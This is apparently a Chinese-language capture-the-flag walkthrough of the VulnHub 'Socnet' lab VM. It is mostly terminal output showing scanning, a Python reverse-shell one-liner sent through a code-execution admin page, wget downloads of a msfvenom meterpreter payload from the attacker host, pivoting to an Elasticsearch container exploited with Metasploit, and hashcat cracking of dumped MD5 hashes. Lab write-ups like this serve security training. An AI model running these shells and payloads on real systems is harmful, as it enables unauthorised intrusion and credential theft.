Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:06 1 60 Unknown vendor
192.168.56.100 08:00:27:af:83:c9 1 60 PCS Systemtechnik GmbH
192.168.56.254 08:00:27:87:d5:96 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.254
┌──(kali㉿kali)-[~/Vulnhub/Socnet]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 00:38 EDT
Nmap scan report for www.armour.local (192.168.56.254)
Host is up (0.00029s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 cc5320b810db525f1602bcee572280e1 (DSA)
| 2048 0150f61f32e80dfc48383ec81bac2002 (RSA)
| 256 3bae9abdcbff8f546432ecbf38fdfe6b (ECDSA)
|_ 256 774e8b207352a4ee931db385f225d755 (ED25519)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
|_http-title: Leave a message
MAC Address: 08:00:27:87:D5:96 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NMAP扫描结果表明目标主机有2个开放端口：22（ssh)、5000（http)
──(kali㉿kali)-[~/Vulnhub/Socnet]
└─$ gobuster dir -u http://192.168.56.254:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.254:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: js,html,txt,sh,php
[+] Timeout: 10s
===============================================================
2023/04/08 00:44:15 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 200) [Size: 401]
发现了/admin目录，而我们在namp结果知道目标运行Python环境
当输入正确的python代码时,比如print("jason"),返回结果：
Status:
Ran the code
当故意输入有错误的python代码时，则返回结果：
Status:
Something went wrong with running the code
因此接下来设法得到反向shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这里不需要前面的python -c
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.206",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
┌──(kali㉿kali)-[~/Vulnhub/Socnet]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.254] 39946
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
/app #
这应该是在容器中。
将编译后的nmap上传到目标容器中
/app # which wget
/usr/bin/wget
/app # cd /tmp
/tmp # wget http://192.168.56.206:8000/nmap
Connecting to 192.168.56.206:8000 (192.168.56.206:8000)
nmap 100% |*******************************| 5805k 0:00:00 ETA
/tmp # chmod +x nmap
/tmp # ./nmap 172.17.0./16
/tmp # ./nmap 172.17.0.0/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-04-08 05:00 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000042s latency).
Not shown: 1288 closed ports
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 02:42:A1:9D:B7:15 (Unknown)
Nmap scan report for 172.17.0.3
Host is up (0.000044s latency).
Not shown: 1288 closed ports
PORT STATE SERVICE
9200/tcp open wap-wsp
MAC Address: 02:42:AC:11:00:03 (Unknown)
经过扫描发现172.17.0.3容器开放9200端口，运行elasticsearch服务
接下来利用metasploit工具生成meterpreter会话
┌──(kali㉿kali)-[~/Vulnhub/Socnet]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.206 LPORT=6666 -f elf -o escalate.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: escalate.elf
将Mesfvenom工具生成的escalate.elf文件上传之目标容器（172.17.0.2）
/tmp # wget http://192.168.56.206:8000/escalate.elf
Connecting to 192.168.56.206:8000 (192.168.56.206:8000)
escalate.elf 100% |*******************************| 207 0:00:00 ETA
/tmp # chmod +x escalate.elf
/tmp # ./escalate.elf
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set LHOST 192.168.56.206
LHOST => 192.168.56.206
msf6 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.206:6666
[*] Sending stage (1017704 bytes) to 192.168.56.254
[*] Meterpreter session 1 opened (192.168.56.206:6666 -> 192.168.56.254:53521) at 2023-04-08 01:11:37 -0400
meterpreter >
在Kali Linux上成功得到meterpreter会话，接下里建立端口转发，到172.17.0.3的elasticservice端口
meterpreter > run autoroute -s 172.17.0.0/16
meterpreter > portfwd add -l 9200 -p 9200 -r 172.17.0.3
[*] Forward TCP relay created: (local) :9200 -> (remote) 172.17.0.3:9200
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search elasticsearch
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
1 auxiliary/scanner/elasticsearch/indices_enum normal No ElasticSearch Indices Enumeration Utility
2 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
3 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/misc/xdh_x_exec
msf6 exploit(multi/handler) > use exploit/multi/elasticsearch/search_groovy_script
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/elasticsearch/search_groovy_script) > show options
Module options (exploit/multi/elasticsearch/search_groovy_script):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
ing-metasploit.html
RPORT 9200 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to the ElasticSearch REST API
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 ElasticSearch 1.4.2
View the full module info with the info, or info -d command.
msf6 exploit(multi/elasticsearch/search_groovy_script) > set RHOSTS localhost
RHOSTS => localhost
msf6 exploit(multi/elasticsearch/search_groovy_script) > set LHOST 192.168.56.206
LHOST => 192.168.56.206
msf6 exploit(multi/elasticsearch/search_groovy_script) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/elasticsearch/search_groovy_script) > run
[*] Exploiting target 0.0.0.1
[*] Started reverse TCP handler on 192.168.56.206:8888
[*] Checking vulnerability...
[-] Exploit aborted due to failure: unknown: 0.0.0.1:9200 - Java has not been executed, aborting...
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.56.206:8888
[*] Checking vulnerability...
[*] Discovering TEMP path...
[+] TEMP path on '/tmp'
[*] Discovering remote OS...
[+] Remote OS is 'Linux'
[*] Trying to load metasploit payload...
[*] Sending stage (58829 bytes) to 192.168.56.254
[+] Deleted /tmp/IVCQL.jar
[*] Meterpreter session 2 opened (192.168.56.206:8888 -> 192.168.56.254:55487) at 2023-04-08 01:17:49 -0400
[*] Session 2 created in the background.
msf6 exploit(multi/elasticsearch/search_groovy_script) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux root @ 172.17.0.2 192.168.56.206:6666 -> 192.168.56.254:53521 (172.17.0.2)
2 meterpreter java/linux root @ 2c3ee4ccef61 192.168.56.206:8888 -> 192.168.56.254:55487 (127.0.0.1)
在172.17.0.3的shell中发现文件passwords
cat passwords
Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
Example: 1234abcd
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b
并且给出了密码的格式：
number,number,number,number,lowercase,lowercase,lowercase,lowercase
数字数字数字数字数字小写字母小写字母小写字母
接下里用hashcat进行破解
(kali㉿kali)-[~/Vulnhub/Socnet]
└─$ hashcat --username -m 0 -a 3 hashes -1 ?d -2 ?l ?1?1?1?1?2?2?2?2 --force
5c158b60ed97c723b673529b8a3cf72b:1234jane
b3d34352fc26117979deabdf1b9b6354:1234pass
670c3bbc209a18dde5446e5e6c1f1d5b:1111pass
861f194e9d6118f3d942a72be3e51749:1234test
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